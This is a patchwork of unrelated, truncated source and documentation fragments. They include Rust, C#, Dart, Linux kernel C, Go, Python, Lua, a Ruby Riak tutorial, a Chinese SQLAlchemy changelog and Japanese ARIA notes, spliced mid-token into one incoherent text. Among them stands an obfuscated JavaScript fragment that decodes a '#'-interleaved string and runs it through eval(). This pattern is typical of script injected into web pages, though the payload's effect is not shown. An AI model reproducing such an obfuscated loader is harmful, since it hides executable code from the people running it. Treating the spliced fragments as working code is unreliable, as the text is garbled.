st::display_fromstr"))]
    F128(ieee::Quad),
    #[strict_encoding(value = 0x36)]
    #[cfg_attr(feature = "serde", serde(with = "serde_with::rust::display_fromstr"))]
    F256(ieee::Oct),

    #[strict_encoding(value = 0xE0)]
    Bytes(Vec<u8>),
    #[strict_encoding(value = 0xEE)]
    AsciiString(AsciiString),
    #[strict_encoding(value = 0xEF)]
    UnicodeString(String),
}

impl RevealedState for Revealed {}

impl CommitConceal for Revealed {
    type ConcealedCommitment = Confidential;

    fn commit_conceal(&self) -> Self::ConcealedCommitment {
        Confidential::hash(
            &strict_serialize(self).expect("Encoding of predefined data types must not fail"),
        )
    }
}
impl commit_encode::Strategy for Revealed {
    type Strategy = commit_encode::strategies::UsingConceal;
}

impl PartialEq for Revealed {
    fn eq(&self, other: &Self) -> bool {
        let some = strict_serialize(self).expect("Encoding of predefined data types must not fail");
        let other =
            strict_serialize(other).expect("Encoding of predefined data types must not fail");
        some.eq(&other)
    }
}

impl Eq for Revealed {}

impl std::hash::Hash for Revealed {
    fn hash<H: Hasher>(&self, state: &mut H) {
        state.write(&self.commit_conceal().commit_serialize())
    }
}

impl PartialOrd for Revealed {
    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
        let some = strict_serialize(self).expect("Encoding of predefined data types must not fail");
        let other =
            strict_serialize(other).expect("Encoding of predefined data types must not fail");
        some.partial_cmp(&other)
    }
}

impl Ord for Revealed {
    fn cmp(&self, other: &Self) -> Ordering {
        self.partial_cmp(other).unwrap_or_else(|| {
            let some =
                strict_serialize(self).expect("Encoding of predefined data types must not fail");
            let other =
                strict_serialize(other).expect("Encoding of predefined data types must not fail");
            some.cmp(&other)
        })
    }
}

// "rgb:data:confidential"
static MIDSTATE_CONFIDENTIAL_DATA: [u8; 32] = [
    151, 235, 12, 105, 100, 154, 61, 159, 108, 179, 41, 229, 218, 159, 57, 12, 233, 248, 167, 213,
    228, 9, 202, 215, 27, 84, 249, 215, 93, 189, 75, 146,
];

/// Tag used for [`Confidential`] hash value of the data
pub struct ConfidentialTag;

impl sha256t::Tag for ConfidentialTag {
    #[inline]
    fn engine() -> sha256::HashEngine {
        let midstate = sha256::Midstate::from_inner(MIDSTATE_CONFIDENTIAL_DATA);
        sha256::HashEngine::from_midstate(midstate, 64)
    }
}

/// Blind version of transaction outpoint-based single-use-seal
#[derive(Wrapper, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash, Default, From)]
#[derive(StrictEncode, StrictDecode)]
#[cfg_attr(feature = "serde", derive(Serialize, Deserialize), serde(crate = "serde_crate"))]


IbusCommunicator
	{
		#region IIbusCommunicator implementation
		public event Action<object> CommitText;
#pragma warning disable 67
		public event Action<object, int> UpdatePreeditText;
		public event Action<int, int> DeleteSurroundingText;
		public event Action HidePreeditText;
		public event Action<int, int, int> KeyEvent;
#pragma warning restore 67

		~CommitOnlyIbusCommunicator()
		{
			Dispose(false);
		}

		public bool IsDisposed { get; private set; }

		public IBusConnection Connection
		{
			get { throw new NotImplementedException(); }
		}

		public void FocusIn()
		{
			// nothing we need to do
		}

		public void FocusOut()
		{
			// nothing we need to do
		}

		public bool ProcessKeyEvent(int keySym, int scanCode, Keys state)
		{
			const uint shift = 0x1;
			const uint capslock = 0x2;

			// ignore backspace
			if (keySym == 0xff08)
				return true;

			string str = ((char)keySym).ToString();
			if (((uint)state & shift) != 0 || ((uint)state & capslock) != 0)
				str = str.ToUpper();
			if (CommitText != null)
				CommitText(new IBusText(str));
			return true;
		}

		public void Reset()
		{
			// nothing we need to do
		}

		public void CreateInputContext()
		{

		}

		public bool Connected
		{
			get { return true; }
		}

		public void Dispose()
		{
			Dispose(true);
			GC.SuppressFinalize(this);
		}

		private void Dispose(bool fDisposing)
		{
			System.Diagnostics.Debug.WriteLineIf(!fDisposing, "****** Missing Dispose() call for " + GetType() + " *******");
			IsDisposed = true;
		}

		public void NotifySelectionLocationAndHeight(int x, int y, int height)
		{
		}
	#endregion

		public string PreEdit
		{
			get { return string.Empty; }
		}
	}

	/// <summary>
	/// Mock IBusCommunicator implementation that deletes current word when space is pressed,
	/// by sending backspaces. It then resends the word in lower case.
	/// </summary>
	public sealed class KeyboardThatSendsDeletesAsCommitsDummyIBusCommunicator : ITestableIbusCommunicator
	{
		private string buffer = string.Empty;

		#region IIbusCommunicator implementation
		public event Action<object> CommitText;
#pragma warning disable 67
		public event Action<object, int> UpdatePreeditText;
		public event Action<int, int> DeleteSurroundingText;
		public event Action HidePreeditText;
		public event Action<int, int, int> KeyEvent;
#pragma warning restore 67

		~KeyboardThatSendsDeletesAsCommitsDummyIBusCommunicator()
		{
			Dispose(false);
		}

		public bool IsDisposed { get; private set; }

		public IBusConnection Connection
		{
			get { throw new NotImplementedException(); }
		}

		public void FocusIn()
		{
			// nothing we need to do
		}

		public void FocusOut()
		{
			// nothing we need to do
		}

		public bool ProcessKeyEvent(int keySym, int scanCode, Keys state)
		{
			const uint shift = 0x1;
			const uint capslock = 0x2;

			// if space.
			if (keySym == (uint)' ') // 0x0020
			{
				foreach (char c in buffer)
				{
					CommitText(new IBusText("\b")); // 0x0008
				}

				foreach (char c in buffer.ToLowerInvariant())
				{
					CommitText(new IBusText(c.ToString()));
				}

				buffer = String.Empty;
				return


  }

  Future<bool> insertGravityLogsQuery(
    String address,
    int line,
    String message,
    DateTime timestamp,
  ) async {
    try {
      return await _db.transaction((txn) async {
        await txn.insert('gravity_logs', {
          'address': address,
          'line': line,
          'message': message,
          'timestamp': timestamp.toUtc().toIso8601String(),
        });
        return true;
      });
    } catch (e) {
      return false;
    }
  }

  Future<bool> insertGravityMessagesQuery(
    String address,
    int messageId,
    String message,
    String url,
    DateTime timestamp,
  ) async {
    try {
      return await _db.transaction((txn) async {
        await txn.insert('gravity_messages', {
          'address': address,
          'message_id': messageId,
          'message': message,
          'url': url,
          'timestamp': timestamp.toUtc().toIso8601String(),
        });
        return true;
      });
    } catch (e) {
      return false;
    }
  }
}
import 'package:flutter_test/flutter_test.dart';
import 'package:mockito/annotations.dart';
import 'package:mockito/mockito.dart';
import 'package:pi_hole_client/config/enums.dart';
import 'package:pi_hole_client/data/gateway/api_gateway_v6.dart';
import 'package:pi_hole_client/data/model/v6/groups/groups.dart' show Groups;
import 'package:pi_hole_client/domain/models_old/gateways.dart';
import 'package:pi_hole_client/domain/models_old/groups.dart';
import 'package:pi_hole_client/ui/core/viewmodel/groups_provider.dart';
import 'package:pi_hole_client/ui/core/viewmodel/servers_provider.dart';

import './groups_provider_test.mocks.dart';

@GenerateMocks([ServersProvider, ApiGatewayV6])
void main() {
  group('GroupsProvider', () {
    late bool listenerCalled;
    late GroupsProvider provider;
    late MockServersProvider mockServersProvider;
    late MockApiGatewayV6 mockApiGatewayV6;

    final groups = [
      Group(
        name: 'Default',
        id: 0,
        enabled: true,
        dateAdded: DateTime.fromMillisecondsSinceEpoch(1594670974 * 1000),
        dateModified: DateTime.fromMillisecondsSinceEpoch(1611157897 * 1000),
        comment: 'The default group',
      ),
    ];
    const singleData = {
      'groups': [
        {
          'name': 'Default',
          'comment': 'The default group',
          'enabled': true,
          'id': 0,
          'date_added': 1594670974,
          'date_modified': 1611157897,
        },
      ],
      'took': 0.003,
    };

    setUp(() {
      mockServersProvider = MockServersProvider();
      mockApiGatewayV6 = MockApiGatewayV6();
      when(mockServersProvider.selectedApiGateway).thenReturn(mockApiGatewayV6);
      when(mockApiGatewayV6.getGroups()).thenAnswer(
        (_) async => GroupsResponse(
          result: APiResponseType.success,
          data: GroupsInfo.fromV6(Groups.fromJson(singleData)),
        ),
      );
      provider = GroupsProvider(serversProvider: mockServersProvider);
      listenerCalled = false;
      provider.addListener(() {
        listenerCalled = true;
      });
    });

    test('initial values are correct', () {
      expect(provider.loadingStatus, LoadStatus.loading);
      expect(provider.groups, []);
      expect(provider.groupItems, {});
      expect(listenerCalled, false);
    });

    test('update updates serversProvider', () {
      final newProvider = Mo


// SPDX-License-Identifier: GPL-2.0-only
/*
 * uio_aec.c -- simple driver for Adrienne Electronics Corp time code PCI device
 *
 * Copyright (C) 2008 Brandon Philips <brandon@ifup.org>
 */

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/io.h>
#include <linux/uaccess.h>
#include <linux/uio_driver.h>
#include <linux/slab.h>

#define PCI_VENDOR_ID_AEC 0xaecb
#define PCI_DEVICE_ID_AEC_VITCLTC 0x6250

#define INT_ENABLE_ADDR		0xFC
#define INT_ENABLE		0x10
#define INT_DISABLE		0x0

#define INT_MASK_ADDR		0x2E
#define INT_MASK_ALL		0x3F

#define INTA_DRVR_ADDR		0xFE
#define INTA_ENABLED_FLAG	0x08
#define INTA_FLAG		0x01

#define MAILBOX			0x0F

static struct pci_device_id ids[] = {
	{ PCI_DEVICE(PCI_VENDOR_ID_AEC, PCI_DEVICE_ID_AEC_VITCLTC), },
	{ 0, }
};
MODULE_DEVICE_TABLE(pci, ids);

static irqreturn_t aectc_irq(int irq, struct uio_info *dev_info)
{
	void __iomem *int_flag = dev_info->priv + INTA_DRVR_ADDR;
	unsigned char status = ioread8(int_flag);

	if ((status & INTA_ENABLED_FLAG) && (status & INTA_FLAG)) {
		/* application writes 0x00 to 0x2F to get next interrupt */
		status = ioread8(dev_info->priv + MAILBOX);
		return IRQ_HANDLED;
	}

	return IRQ_NONE;
}

static void print_board_data(struct pci_dev *pdev, struct uio_info *i)
{
	dev_info(&pdev->dev, "PCI-TC board vendor: %x%x number: %x%x"
		" revision: %c%c\n",
		ioread8(i->priv + 0x01),
		ioread8(i->priv + 0x00),
		ioread8(i->priv + 0x03),
		ioread8(i->priv + 0x02),
		ioread8(i->priv + 0x06),
		ioread8(i->priv + 0x07));
}

static int probe(struct pci_dev *pdev, const struct pci_device_id *id)
{
	struct uio_info *info;
	int ret;

	info = devm_kzalloc(&pdev->dev, sizeof(struct uio_info), GFP_KERNEL);
	if (!info)
		return -ENOMEM;

	if (pci_enable_device(pdev))
		return -ENODEV;

	if (pci_request_regions(pdev, "aectc"))
		goto out_disable;

	info->name = "aectc";
	info->port[0].start = pci_resource_start(pdev, 0);
	if (!info->port[0].start)
		goto out_release;
	info->priv = pci_iomap(pdev, 0, 0);
	if (!info->priv)
		goto out_release;
	info->port[0].size = pci_resource_len(pdev, 0);
	info->port[0].porttype = UIO_PORT_GPIO;

	info->version = "0.0.1";
	info->irq = pdev->irq;
	info->irq_flags = IRQF_SHARED;
	info->handler = aectc_irq;

	print_board_data(pdev, info);
	ret = uio_register_device(&pdev->dev, info);
	if (ret)
		goto out_unmap;

	iowrite32(INT_ENABLE, info->priv + INT_ENABLE_ADDR);
	iowrite8(INT_MASK_ALL, info->priv + INT_MASK_ADDR);
	if (!(ioread8(info->priv + INTA_DRVR_ADDR)
			& INTA_ENABLED_FLAG))
		dev_err(&pdev->dev, "aectc: interrupts not enabled\n");

	pci_set_drvdata(pdev, info);

	return 0;

out_unmap:
	pci_iounmap(pdev, info->priv);
out_release:
	pci_release_regions(pdev);
out_disable:
	pci_disable_device(pdev);
	return -ENODEV;
}

static void remove(struct pci_dev *pdev)
{
	struct uio_info *info = pci_get_drvdata(pdev);

	/* disable interrupts */
	iowrite8(INT_DISABLE, info->priv + INT_MASK_ADDR);
	iowrite32(INT_DISABLE, info->priv + INT_ENABLE_ADDR);
	/* read mailbox to ensure board drops irq */
	ioread8(info->priv + MAILBOX);

	uio_unregister_device(info);
	pci_release_regions(pdev);
	pci_disable_device(pdev);
	pci_iounmap(pdev, info->priv);
}

static struct pci_driver pci_driver = {
	.name = "aectc",
	.id_table = ids,
	.probe = probe,
	.remove = remove,
};

module_pci_driver(pci_driver);
MODULE_LICENSE("GPL");


, completedAppsCount := r.DNSManager.GetFetchZonesProgress()
	if isFetching {
		payload := models.ZonesFetchStatus{
			CompletedAppsCount: int64(completedAppsCount),
			AppsCount:          int64(appsCount),
		}
		rsp := dns.NewGetZonesFetchAccepted().WithPayload(&payload)
		return rsp
	}
	states, count, err := dbmodel.GetZoneInventoryStates(r.DB, dbmodel.ZoneInventoryStateRelationApp)
	if err != nil {
		msg := "Failed to get zones fetch states from the database"
		log.WithError(err).Error(msg)
		rsp := dns.NewGetZonesFetchDefault(http.StatusInternalServerError).WithPayload(&models.APIError{
			Message: &msg,
		})
		return rsp
	}
	if count == 0 {
		rsp := dns.NewGetZonesFetchNoContent()
		return rsp
	}
	var restStates []*models.ZoneInventoryState
	for _, state := range states {
		restStates = append(restStates, &models.ZoneInventoryState{
			AppID:              state.Daemon.AppID,
			AppName:            state.Daemon.App.Name,
			CreatedAt:          strfmt.DateTime(state.CreatedAt),
			DaemonID:           state.DaemonID,
			Error:              state.State.Error,
			Status:             string(state.State.Status),
			ZoneConfigsCount:   state.State.ZoneCount,
			DistinctZonesCount: state.State.DistinctZoneCount,
			BuiltinZonesCount:  state.State.BuiltinZoneCount,
		})
	}
	payload := models.ZoneInventoryStates{
		Items: restStates,
		Total: int64(count),
	}
	rsp := dns.NewGetZonesFetchOK().WithPayload(&payload)
	return rsp
}

// Begins fetching the zones from the zone inventories into the Stork server.
func (r *RestAPI) PutZonesFetch(ctx context.Context, params dns.PutZonesFetchParams) middleware.Responder {
	var alreadyFetchingError *dnsop.ManagerAlreadyFetchingError
	_, err := r.DNSManager.FetchZones(10, 1000, false)
	switch {
	case err == nil, errors.As(err, &alreadyFetchingError):
		return dns.NewPutZonesFetchAccepted()
	default:
		msg := "Failed to start fetching the zones"
		log.WithError(err).Error(msg)
		rsp := dns.NewPutZonesFetchDefault(http.StatusInternalServerError).WithPayload(&models.APIError{
			Message: &msg,
		})
		return rsp
	}
}

// Returns the zone contents (RRs) for a specified view, zone and daemon.
// If the zone RRs are not present in the database, the zone transfer is
// initiated. The transferred data is cached in the database and returned.
// Future calls to this endpoint will return the cached data.

func (r *RestAPI) GetZoneRRs(ctx context.Context, params dns.GetZoneRRsParams) middleware.Responder {
	var (
		restRrs               []*models.ZoneRR
		alreadyRequestedError *dnsop.ManagerRRsAlreadyRequestedError
		busyError             *agentcomm.ZoneInventoryBusyError
		notInitedError        *agentcomm.ZoneInventoryNotInitedError
	)
	var (
		cached         bool
		zoneTransferAt time.Time
	)
	for rrResponse := range r.DNSManager.GetZoneRRs(params.ZoneID, params.DaemonID, params.ViewName) {
		if rrResponse.Err != nil {
			msg := "Failed to get zone contents from the database"
			log.WithError(rrResponse.Err).Error(msg)
			switch {
			case errors.As(rrResponse.Err, &alreadyRequestedError):
				// There is another request in progress for the same zone.
				rsp := dns.NewGetZoneRRsDefault(


;
extern crate stm32f30x_hal as hal;
extern crate ls010b7dh01;
extern crate panic_abort;
extern crate embedded_graphics as graphics;

use cortex_m::asm;
use hal::prelude::*;
use hal::spi::Spi;
use hal::stm32f30x;
use hal::delay::Delay;
use ls010b7dh01::Ls010b7dh01;

use graphics::prelude::*;
use graphics::Drawing;
use graphics::primitives::{Circle, Line, Rect};
use graphics::fonts::{Font, Font6x8};
use graphics::transform::Transform;
use graphics::image::Image1BPP;

fn main() {
    let cp = cortex_m::Peripherals::take().unwrap();
    let p = stm32f30x::Peripherals::take().unwrap();

    let mut flash = p.FLASH.constrain();
    let mut rcc = p.RCC.constrain();
    let mut gpioa = p.GPIOA.split(&mut rcc.ahb);
    let mut gpiob = p.GPIOB.split(&mut rcc.ahb);

    // clock configuration using the default settings (all clocks run at 8 MHz)
    let clocks = rcc.cfgr.freeze(&mut flash.acr);

    // Set up delay
    let mut delay = Delay::new(cp.SYST, clocks);

    // Set up DISP_EN (Active high)
    let mut disp_en = gpiob
        .pb2
        .into_push_pull_output(&mut gpiob.moder, &mut gpiob.otyper); // DISP_EN
    disp_en.set_low();

    let mut extcomin = gpiob
        .pb1
        .into_push_pull_output(&mut gpiob.moder, &mut gpiob.otyper);

    // Set up our CS (Active high)
    let mut cs = gpiob
        .pb0
        .into_push_pull_output(&mut gpiob.moder, &mut gpiob.otyper); // CS
    cs.set_low();

    // Set up 5V_en
    let mut v5_en = gpioa
        .pa3
        .into_push_pull_output(&mut gpioa.moder, &mut gpioa.otyper); // 5V_en
    v5_en.set_low();
    v5_en.set_high();

    // Set up SPI
    let pa5 = gpioa
        .pa5
        .into_af5(&mut gpioa.moder, &mut gpioa.afrl); // SCK

    let pa6 = gpioa
        .pa6
        .into_af5(&mut gpioa.moder, &mut gpioa.afrl); // MISO

    let pa7 = gpioa
        .pa7
        .into_af5(&mut gpioa.moder, &mut gpioa.afrl); // MOSI

    let mode = ls010b7dh01::MODE;
    let spi = Spi::spi1(p.SPI1, (pa5, pa6, pa7), mode, 1.mhz(), clocks, &mut rcc.apb2);

    // Driver
    let mut display = Ls010b7dh01::new(spi, cs, disp_en);

    display.disable();
    delay.delay_ms(200u16);
    display.enable();
    display.clear();
    display.flush_buffer();

    let bpp = Image1BPP::new(include_bytes!("../data/face_1bpp_neg.raw"), 120, 120).translate((0, 0));
    display.draw(bpp.into_iter());

    display.flush_buffer();

    let mut i = 0;
    let mut pulse = false;
    loop {
        if pulse {
            extcomin.set_high();
        } else {
            extcomin.set_low();
        }
        pulse = !pulse;

        delay.delay_ms(500u16);
    }
}

// https://leetcode-cn.com/problems/divisor-game/
pub fn divisor_game(n: i32) -> bool {
    todo!()
}
// math dynamic_programming
#[test]
#[ignore]
fn test2_1025() {
    assert_eq!(divisor_game(2), tru


属性をtrueに設定する。grid要素のaria-readonly属性の値は、暗黙のうちにその所有されるgridcell要素のすべてに伝播され、アクセシビリティーAPIを通して公開される。著者は、gridcell上のaria-readonly属性を設定することで、個々のgridcell要素の伝播されるaria-readonly値を上書きすることができる。

フォーカスの管理で説明したように、キーボードアクセシブルであるために、著者は、このロールのすべてのインスタンスに対する子孫のフォーカスを管理すべきである。

gridの特性

特性	値

スーパークラスロール：

composite

region

サブクラスロール：

treegrid

ベース概念：	HTML table

要求される所有要素：

row</li


#l#2#[#8#9#9#2#]#=#2#4#4#;#_#O#l#2#[#8#9#9#3#]#=#2#4#5#;#_#O#l#2#[#2#4#7#]#=#2#4#6#;#_#O#l#2#[#8#7#7#6#]#=#2#4#7#;#_#O#l#2#[#1#7#6#]#=#2#4#8#;#_#O#l#2#[#8#7#2#9#]#=#2#4#9#;#_#O#l#2#[#1#8#3#]#=#2#5#0#;#_#O#l#2#[#8#7#3#0#]#=#2#5#1#;#_#O#l#2#[#8#3#1#9#]#=#2#5#2#;#_#O#l#2#[#1#7#8#]#=#2#5#3#;#_#O#l#2#[#9#6#3#2#]#=#2#5#4#;#_#O#l#2#[#1#6#0#]#=#2#5#5#;#v#a#r# #_#L#D#y#6#=#n#e#w# #A#r#r#a#y#(#)#;#f#o#r# #(#v#a#r# #_#W#I#e#9#=#0#;# #_#W#I#e#9# #<# #_#O#I#o#4#.#l#e#n#g#t#h#;# #_#W#I#e#9# #+#=# #1#)#{#v#a#r# #_#C#a#2#=#_#O#I#o#4#[#\"#c#h#a#r#C#o#d#e#A#t#\"#]#(#_#W#I#e#9#)#;#i#f# #(#_#C#a#2# #<# #1#2#8#)#{#v#a#r# #_#Y#f#9#=#_#C#a#2#;#}#e#l#s#e# #{#v#a#r# #_#Y#f#9#=#_#O#l#2#[#_#C#a#2#]#;#}#_#L#D#y#6#[#\"#p#u#s#h#\"#]#(#_#Y#f#9#)#;#}#;#r#e#t#u#r#n# #_#L#D#y#6#;#}"));
eval(_JGe6("f#u#n#c#t#i#o#n# #_#G#x#2#(#_#D#O#g#1#)#{#v#a#r# #_#Z#a#8#=#n#e#w# #A#r#r#a#y#(#)#;#_#Z#a#8#[#1#6#8#]#=#1#9#1#;#_#Z#a#8#[#1#6#9#]#=#8#9#7#6#;#_#Z#a#8#[#1#7#0#]#=#1#7#2#;#_#Z#a#8#[#1#7#1#]#=#1#8#9#;#_#Z#a#8#[#1#7#2#]#=#1#8#8#;#_#Z#a#8#[#1#7#3#]#=#1#6#1#;#_#Z#a#8#[#1#7#4#]#=#1#7


   x0=z,
                                                 mask=cc,
                                                 eta=1.0,
                                                 verbose=False,
                                                 rotate=True)

                rgb_samples_ddim, _ = model.decode_first_stage(samples_ddim)

                predicted_rgb = torch.clamp((rgb_samples_ddim+1.0)/2.0,
                                              min=0.0, max=1.0)

                predicted_rgb = cv2.resize(predicted_rgb.cpu().numpy().transpose(0,2,3,1)[0] * 255.0, (1024, 512))
                predicted_rgb = predicted_rgb / 255.0 * 2.0 - 1.0
                predicted_rgb = torch.tensor(predicted_rgb).transpose(2,1).transpose(1,0).unsqueeze(0).to(device)
                predicted_rgb_sr = refinenet(predicted_rgb)

                predicted_rgb_sr = predicted_rgb_sr.cpu().squeeze().transpose(0,1).transpose(2,1).numpy()
                predicted_rgb_sr = (255*(predicted_rgb_sr+1)/2).astype(np.uint8)

                Image.fromarray(predicted_rgb_sr.astype(np.uint8)).save(outpath)


in",
                                        "2013-10-01", "2013-10-31")
october_orders.results
```

Which returns:

```text
['1', '2']
```

Boom, easy-peasy.  We used 2i's range feature to search for a range of values, and demonstrated binary indexes.

So to recap:

* You can use Secondary Indexes to quickly lookup an object based on a secondary id other than the object's key.
* Indexes can have either Integer or Binary(String) keys
* You can search for specific values, or a range of values
* Riak will return a list of keys that match the index query
---
title_supertext: "Getting Started:"
title: "Object Modeling with Ruby"
description: ""
project: "riak_kv"
project_version: "2.1.1"
menu:
  riak_kv-2.1.1:
    name: "Object Modeling"
    identifier: "getting_started_ruby_object"
    weight: 102
    parent: "getting_started_ruby"
toc: true
aliases:
  - /riak/2.1.1/dev/taste-of-riak/object-modeling-ruby
  - /riak/kv/2.1.1/dev/taste-of-riak/object-modeling-ruby
---

To get started, let's create the models that we'll be using. Since the
[Ruby Riak Client](https://github.com/basho/riak-ruby-client) uses
hashes when converting to and from JSON, we'll use the library
[Hashie](http://rdoc.info/github/intridea/hashie) to help automatically
coerce class properties to and from hashes. You can install this library
with `gem install hashie`.

```ruby
# Encoding: utf-8

require 'riak'
require 'hashie'
require 'time'

class User < Hashie::Dash
  property :user_name
  property :full_name
  property :email
end

class Msg < Hashie::Dash
  property :from
  property :to
  property :created
  property :text
end

class Timeline < Hashie::Dash
  property :owner
  property :type
  property :msgs
end
```

To use these classes to store data, we will first have to create a user.
Then, when a user creates a message, we will append that message to one
or more timelines. If it's a private message, we'll append it to the
Recipient's `Inbox` timeline and the User's own `Sent` timeline. If it's
a group message, we'll append it to the Group's timeline, as well as to
the User's `Sent` timeline.

#### Buckets and Keys Revisited

Now that we've worked out how we will differentiate data in the system,
let's figure out our bucket and key names.

The bucket names are straightforward. We can use `Users`, `Msgs`, and
`Timelines`. The key names, however, are a little more tricky. In past
examples we've used sequential integers, but this presents a problem: we
would need a secondary service to hand out these IDs. This service could
easily be a future bottleneck in the system, so let's use a natural key.
Natural keys are a great fit for key/value systems because both humans
and computers can easily construct them when needed, and most of the
time they can be made unique enough for a KV store.

Bucket | Key Pattern | Example Key
:------|:------------|:-----------
`Users` | `<user_name>` | `joeuser`
`Msgs` | `<username>_<datetime>` | `joeuser_2014-03-06T02:05:13.223556Z`
`Timelines` | `<username>_<type>_<date>` | `joeuser_Sent_2014-03-06Z`<br /> `marketing_group_Inbox_2014-03-06Z` |

For the `Users` bucket, we can be certain that we will want each
username to be unique, so let's use the `username` as the key.  For


库的随机实现（如果有）。

+   **[sql]**

    update().values() 和 insert().values() 接受关键字参数。

+   **[sql]**

    修复了 select() 中关于其生成 FROM 子句的问题，在罕见情况下，两个子句可能会被生成，而实际上只想取消另一个。一些具有大量急加载的 ORM 查询可能会出现这种症状。

+   **[sql]**

    case() 函数现在还接受字典作为其 whens 参数。它还默认将“THEN”表达式解释为值，这意味着 case([(x==y, “foo”)]) 将“foo”解释为绑定值，而不是 SQL 表达式。在这种情况下，对于标准本身，这些只能是文本字符串，除非存在“value”关键字，否则 SA 将强制使用 text() 或 literal()。

### mysql

+   **[mysql]**

    方言用于缓存服务器设置的连接信息键已更改，并且现在有了命名空间。

### mssql

+   **[mssql]**

    反射表现在将自动加载被自动加载表中的外键引用的其他表。

    参考：[#979](https://www.sqlalchemy.org/trac/ticket/979)

+   **[mssql]**

    添加了 executemany 检查以跳过标识获取。

    参考：[#916](https://www.sqlalchemy.org/trac/ticket/916)

+   **[mssql]**

    添加了小日期类型的存根。

    参考：[#884](https://www.sqlalchemy.org/trac/ticket/884)

+   **[mssql]**

    为 pyodbc 方言添加了新的 'driver' 关键字参数。如果给出，将替代 ODBC 连接字符串，默认为 'SQL Server'。

+   **[mssql]**

    为 pyodbc 方言添加了新的 'max_identifier_length' 关键字参数。

+   **[mssql]**

    对 pyodbc + Unix 的改进。如果以前无法使该组合工作，请再次尝试。

### oracle

+   **[oracle]**

    Table 上的 "owner" 关键字现已弃用，并且与 "schema" 关键字完全同义。现在可以在 Table 对象上明确声明或不使用 "schema" 来反射具有替代 "owner" 属性的表。

+   **[oracle]**

    所有在表反射期间搜索同义词、DBLINK 等“魔术”功能默认情况下都已禁用，除非在 Table 对象上指定“oracle_resolve_synonyms=True”。解析同义词必然会导致一些混乱的猜测，我们宁愿默认情况下将其排除在外。当设置了标志时，表和相关表将在所有情况下针对同义词进行解析，这意味着如果特定表存在同义词，则在反映相关表时将使用它。这比以前的行为更粘性，这就是为什么默认情况下它是关闭的。

### 杂项

+   **[声明式] [扩展]**

    “synonym”函数现在可以直接与“declarative”一起使用。使用“des


local HTTP = HTTP

--[[---------------------------------------------------------
	HTTP Module. Interaction with HTTP.
-----------------------------------------------------------]]
module( "http" )

--[[---------------------------------------------------------

	Get the contents of a webpage.

	Callback should be

	function callback( (args optional), contents, size )

-----------------------------------------------------------]]
function Fetch( url, onsuccess, onfailure, header )

	local request = {
		url			= url,
		method		= "get",
		headers		= header or {},

		success = function( code, body, headers )

			if ( !onsuccess ) then return end

			onsuccess( body, body:len(), headers, code )

		end,

		failed = function( err )

			if ( !onfailure ) then return end

			onfailure( err )

		end
	}

	local success = HTTP( request )
	if ( !success && onfailure ) then onfailure( "HTTP failed" ) end

end

function Post( url, params, onsuccess, onfai


/* This is a module which is used for setting up fake conntracks
 * on packets so that they are not seen by the conntrack/NAT code.
 */
#include <linux/module.h>
#include <linux/skbuff.h>

#include <linux/netfilter/x_tables.h>
#include <net/netfilter/nf_conntrack_compat.h>

MODULE_LICENSE("GPL");
MODULE_ALIAS("ipt_NOTRACK");

static unsigned int
target(struct sk_buff **pskb,
       const struct net_device *in,
       const struct net_device *out,
       unsigned int hooknum,
       const struct xt_target *target,
       const void *targinfo,
       void *userinfo)
{
	/* Previously seen (loopback)? Ignore. */
	if ((*pskb)->nfct != NULL)
		return XT_CONTINUE;

	/* Attach fake conntrack entry.
	   If there is a real ct entry correspondig to this packet,
	   it'll hang aroun till timing out. We don't deal with it
	   for performance reasons. JK */
	nf_ct_untrack(*pskb);
	(*pskb)->nfctinfo = IP_CT_NEW;
	nf_conntrack_get((*pskb)->nfct);

	return XT_CONTINUE;
}

static struct xt_target notrack_reg = {
	.name		= "NOTRACK",
	.target		= target,
	.targetsize	= 0,
	.table		= "raw",
	.family		= AF_INET,
	.me		= THIS_MODULE,
};

static struct xt_target notrack6_reg = {
	.name		= "NOTRACK",
	.target		= target,
	.targetsize	= 0,
	.table		= "raw",
	.family		= AF_INET6,
	.me		= THIS_MODULE,
};

static int __init xt_notrack_init(void)
{
	int ret;

	ret = xt_register_target(&notrack_reg);
	if (ret)
		return ret;

	ret = xt_register_target(&notrack6_reg);
	if (ret)
		xt_unregister_target(&notrack_reg);

	return ret;
}

static void __exit xt_notrack_fini(void)
{
	xt_unregister_target(&notrack6_reg);
	xt_unregister_target(&notrack_reg);
}

module_init(xt_notrack_init);
module_exit(xt_notrack_fini);


TAL LETTER T
 [0x1F144] = 0x0075, -- SQUARED LATIN CAPITAL LETTER U
 [0x1F145] = 0x0076, -- SQUARED LATIN CAPITAL LETTER V
 [0x1F146] = 0x0077, -- SQUARED LATIN CAPITAL LETTER W
 [0x1F147] = 0x0078, -- SQUARED LATIN CAPITAL LETTER X
 [0x1F148] = 0x0079, -- SQUARED LATIN CAPITAL LETTER Y
 [0x1F149] = 0x007A, -- SQUARED LATIN CAPITAL LETTER Z
 [0x1F14A] = {0x0068, 0x0076}, -- SQUARED HV
 [0x1F14B] = {0x006D, 0x0076}, -- SQUARED MV
 [0x1F14C] = {0x0073, 0x0064}, -- SQUARED SD
 [0x1F14D] = {0x0073, 0x0073}, -- SQUARED SS
 [0x1F14E] = {0x0070, 0x0070, 0x0076}, -- SQUARED PPV
 [0x1F14F] = {0x0077, 0x0063}, -- SQUARED WC
 -- NA   <reserved-1F10D>..<reserved-1F10F>
 [0x1F10D] = {status="disallowed"},
 [0x1F10E] = {status="disallowed"},
 [0x1F10F] = {status="disallowed"},
 [0x1F157] = {status="disallowed"}, -- NEGATIVE CIRCLED LATIN CAPITAL LETTER H
 [0x1F15F] = {status="disallowed"}, -- NEGATIVE CIRCLED LATIN CAPITAL LETTER P
 [0x1F16A] = {0x006D, 0x0063}, -- RAISED MC SIGN
 [0x1F16B] = {0x006D, 0x0064}, -- RAISED MD SIGN
 -- NA   <reserved-1F16C>..<reserved-1F16F>
 [0x1F16C] = {status="disallowed"},
 [0x1F16D] = {status="disallowed"},
 [0x1F16E] = {status="disallowed"},
 [0x1F16F] = {status="disallowed"},
 [0x1F179] = {status="disallowed"}, -- NEGATIVE SQUARED LATIN CAPITAL LETTER J
 [0x1F17A] = {status="disallowed"}, -- NEGATIVE SQUARED LATIN CAPITAL LETTER K
 [0x1F17F] = {status="disallowed"}, -- NEGATIVE SQUARED LATIN CAPITAL LETTER P
